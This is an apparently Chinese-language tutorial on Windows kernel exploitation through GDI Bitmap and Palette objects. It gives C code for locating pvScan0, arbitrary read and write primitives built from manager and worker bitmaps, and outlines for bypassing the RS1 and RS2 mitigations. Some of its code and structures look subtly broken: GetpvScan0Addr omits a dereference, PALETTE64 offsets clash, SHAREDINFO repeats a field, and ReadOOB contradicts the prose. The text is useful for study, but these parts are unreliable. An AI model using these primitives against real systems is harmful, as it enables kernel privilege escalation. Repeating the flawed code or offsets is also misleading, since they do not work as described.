GDI对象利用
字数 2019 2025-08-24 07:48:33
GDI对象利用技术详解
0x00 前言
GDI(图形设备接口)对象是Windows系统中用于图形处理的重要组件,其中Bitmap(位图)和Palette(调色板)对象由于在内核中的特殊结构,可以被利用来实现内核空间的任意地址读写。本文将详细解析这些技术原理和利用方法。
0x01 Bitmap对象利用
1.1 基础概念
位图显示原理:
- 显示器由像素点构成,采用扫描方法显示
- 位图采用位映象方法显示和存储,是一个二维像素矩阵
- 每个像素点通过RGB值确定颜色,调色板(Palette)是存储这些RGB值的表
CreateBitmap函数:
HBITMAP CreateBitmap(
[in] int nWidth, // 位图宽度(像素)
[in] int nHeight, // 位图高度(像素)
[in] UINT nPlanes, // 颜色位面数
[in] UINT nBitCount, // 单个像素点颜色位数
[in] const VOID *lpBits // 颜色数据数组指针
);
- 如果lpBits不指定,会额外创建池块处理PvScan0
SURFACE OBJECT结构:
typedef struct {
BASEOBJECT64 BaseObject; // 0x00
SURFOBJ64 SurfObj; // 0x18
[...]
} SURFACE64;
包含BASEOBJECT和SURFOBJ两个结构体,其中SURFOBJ.pvScan0指向Pixel Data数据区。
SURFOBJ结构:
typedef struct {
ULONG64 dhsurf; // 0x00
ULONG64 hsurf; // 0x08
ULONG64 dhpdev; // 0x10
ULONG64 hdev; // 0x18
SIZEL sizlBitmap; // 0x20
ULONG64 cjBits; // 0x28
ULONG64 pvBits; // 0x30
ULONG64 pvScan0; // 0x38
ULONG32 lDelta; // 0x40
ULONG32 iUniq; // 0x44
ULONG32 iBitmapFormat; // 0x48
USHORT iType; // 0x4C
USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50
Bitmap操作API:
LONG GetBitmapBits(
[in] HBITMAP hbit, // 位图句柄
[in] LONG cb, // 要复制的字节数
[out] LPVOID lpvBits // 指向缓冲区的指针
);
LONG SetBitmapBits(
[in] HBITMAP hbm, // 位图句柄
[in] DWORD cb, // 数组字节数
[in] const VOID *pvBits // 颜色数据数组指针
);
1.2 Bitmap任意地址读写(Windows < 1607)
原理:
- Pixel Data可以通过GetBitmapBits和SetBitmapBits控制读写
- pvScan0和Pixel Data都在内核空间,通过修改pvScan0可实现任意地址读写
获取pvScan0地址的方法:
- 通过NtCurrentTeb获取TEB基址
- TEB偏移0x60处获取PEB基址
- PEB偏移0xf8处获取GdiSharedHandleTable地址
- GdiSharedHandleTable是GDICELL结构体数组,索引为hBitmap & 0xFFFF
GDICELL结构:
typedef struct _GDI_CELL {
PVOID64 pKernelAddress; // 0x00
USHORT wProcessId; // 0x08
USHORT wCount; // 0x0a
USHORT wUpper; // 0x0c
USHORT wType; // 0x0e
PVOID64 pUserAddress; // 0x10
} GDICELL64; // sizeof = 0x18
计算pvScan0地址的代码:
DWORD64 GetpvScan0Addr(HBITMAP hBitmap) {
DWORD64 tebAddr = NtCurrentTeb();
DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
DWORD64 gdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
DWORD64 pKernelAddress = gdiSharedHandleTableAddr + ((DWORD64)hBitmap & 0xffff) * 0x18;
DWORD64 surfObj = pKernelAddress + 0x18;
DWORD64 pvScan0Addr = surfObj + 0x38;
return pvScan0Addr;
}
利用思路:
- 创建两个Bitmap:hManager和hWorker
- 获取两者的pvScan0地址
- 利用任意地址写使hManager.pvScan0指向hWorker.pvScan0地址
- 任意写:
- SetBitmapBits向hManager.pvScan0写入目标地址
- SetBitmapBits向hWorker.pvScan0写入数据
- 任意读:
- SetBitmapBits向hManager.pvScan0写入目标地址
- GetBitmapBits读取hManager.pvScan0指向的值
示例代码:
VOID ReadOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 writeAddr, LPVOID readValue, int len) {
SetBitmapBits(hManager, len, &writeAddr);
GetBitmapBits(hWorker, len, readValue);
}
VOID WriteOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 writeAddr, LPVOID writeValue, int len) {
SetBitmapBits(hManager, len, &writeAddr);
SetBitmapBits(hWorker, len, writeValue);
}
int main() {
HBITMAP hManager = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL);
HBITMAP hWorker = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL);
DWORD64 hManager_pvScan0 = GetpvScan0Addr(hManager);
DWORD64 hWorker_pvScan0 = GetpvScan0Addr(hWorker);
}
1.3 绕过RS1缓解措施(Windows < 1703)
变化:
- RS1后GdiSharedHandleTable不再透露内核地址
绕过方法:
- 利用Accelerator table对象重用技术
- Windows对象类型:
- User object (如Accelerator table)
- GDI object (如Bitmap)
- Kernel object
- Accelerator table对象地址可通过pKernel获得
SHAREDINFO结构:
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PHANDLEENTRY aheList;
ULONG_PTR HeEntrySize;
PDISPLAYINFO pDisplayInfo;
ULONG_PTR ulSharedDelta;
WNDMSG awmControl[27];
WNDMSG awmControl[31];
WNDMSG DefWindowMsgs;
WNDMSG DefWindowSpecMsgs;
} SHAREDINFO, *PSHAREDINFO;
USER_HANDLE_ENTRY结构:
typedef struct _USER_HANDLE_ENTRY {
void *pKernel;
union {
PVOID pi;
PVOID pti;
PVOID ppi;
};
BYTE type;
BYTE flags;
WORD generation;
} USER_HANDLE_ENTRY, *PUSER_HANDLE_ENTRY;
对象重用技术:
- 创建多个Accelerator table对象
- 销毁这些对象
- 创建Bitmap对象,使其复用之前的内存
1.4 绕过RS2缓解措施(Windows < 1709)
变化:
- RS2禁用了HANDLE_ENRTY结构体的pkernel
新方法:
- 利用窗口菜单名lpszMenuName
- 使用HMValidateHandle获取tagWnd指针
- 通过tagWnd找到lpszMenuName对象地址
- 类似Accelerator table方式获取pvScan0地址
0x02 Palette对象利用
2.1 基础概念
PALETTE64结构:
typedef struct _PALETTE64 {
BASEOBJECT64 BaseObject; // 0x00
FLONG flPal; // 0x18
ULONG32 cEntries; // 0x1C
ULONG32 ulTime; // 0x20
HDC hdcHead; // 0x24
ULONG64 hSelected; // 0x28
ULONG64 cRefhpal; // 0x30
ULONG64 cRefRegular; // 0x34
ULONG64 ptransFore; // 0x3c
ULONG64 ptransCurrent; // 0x44
ULONG64 ptransOld; // 0x4C
ULONG32 unk_038; // 0x38
ULONG64 pfnGetNearest; // 0x3c
ULONG64 pfnGetMatch; // 0x40
ULONG64 ulRGBTime; // 0x44
ULONG64 pRGBXlate; // 0x48
PALETTEENTRY *pFirstColor; // 0x80
struct _PALETTE *ppalThis; // 0x88
PALETTEENTRY apalColors[3]; // 0x90
}
- pFirstColor类似Bitmap的pvScan0,指向apalColors[3]
PALETTEENTRY结构:
class PALETTEENTRY(Structure):
_fields_ = [
("peRed", BYTE),
("peGreen", BYTE),
("peBlue", BYTE),
("peFlags", BYTE)
]
2.2 CreatePalette函数
HPALETTE CreatePalette(
[in] const LOGPALETTE *plpal
);
LOGPALETTE结构:
typedef struct tagLOGPALETTE {
WORD palVersion; // 0x300
WORD palNumEntries; // palNumEntries = (size-0x90)/4
PALETTEENTRY palPalEntry[1];
} LOGPALETTE, *PLOGPALETTE, *NPLOGPALETTE, *LPLOGPALETTE;
2.3 Palette操作API
UINT GetPaletteEntries(
[in] HPALETTE hpal, // palette句柄
[in] UINT iStart, // 起始项
[in] UINT cEntries, // 项数
[out] LPPALETTEENTRY pPalEntries // 接收数组
);
UINT SetPaletteEntries(
[in] HPALETTE hpal, // palette句柄
[in] UINT iStart, // 起始项
[in] UINT cEntries, // 项数
[in] const PALETTEENTRY *pPalEntries // 数据数组
);
2.4 利用思路
- 创建两个Palette对象:hWorker和hManager
- 通过堆喷射获取两者的pFirstColor指针内核地址
- 使hManager的pFirstColor指向hWorker的pFirstColor地址
- 任意写:
- SetPaletteEntries修改hWorker.pFirstColor为目标地址
- SetPaletteEntries向目标地址写入数据
- 任意读:
- SetPaletteEntries修改hWorker.pFirstColor为目标地址
- GetPaletteEntries从目标地址读取数据
总结
GDI对象利用技术经历了多个Windows版本的演变,从最初的Bitmap利用到后来的Palette利用,随着微软不断添加缓解措施,利用方法也不断演进。理解这些技术需要对Windows内核对象和GDI子系统有深入的认识,同时需要掌握内存重用、地址泄露等关键技术。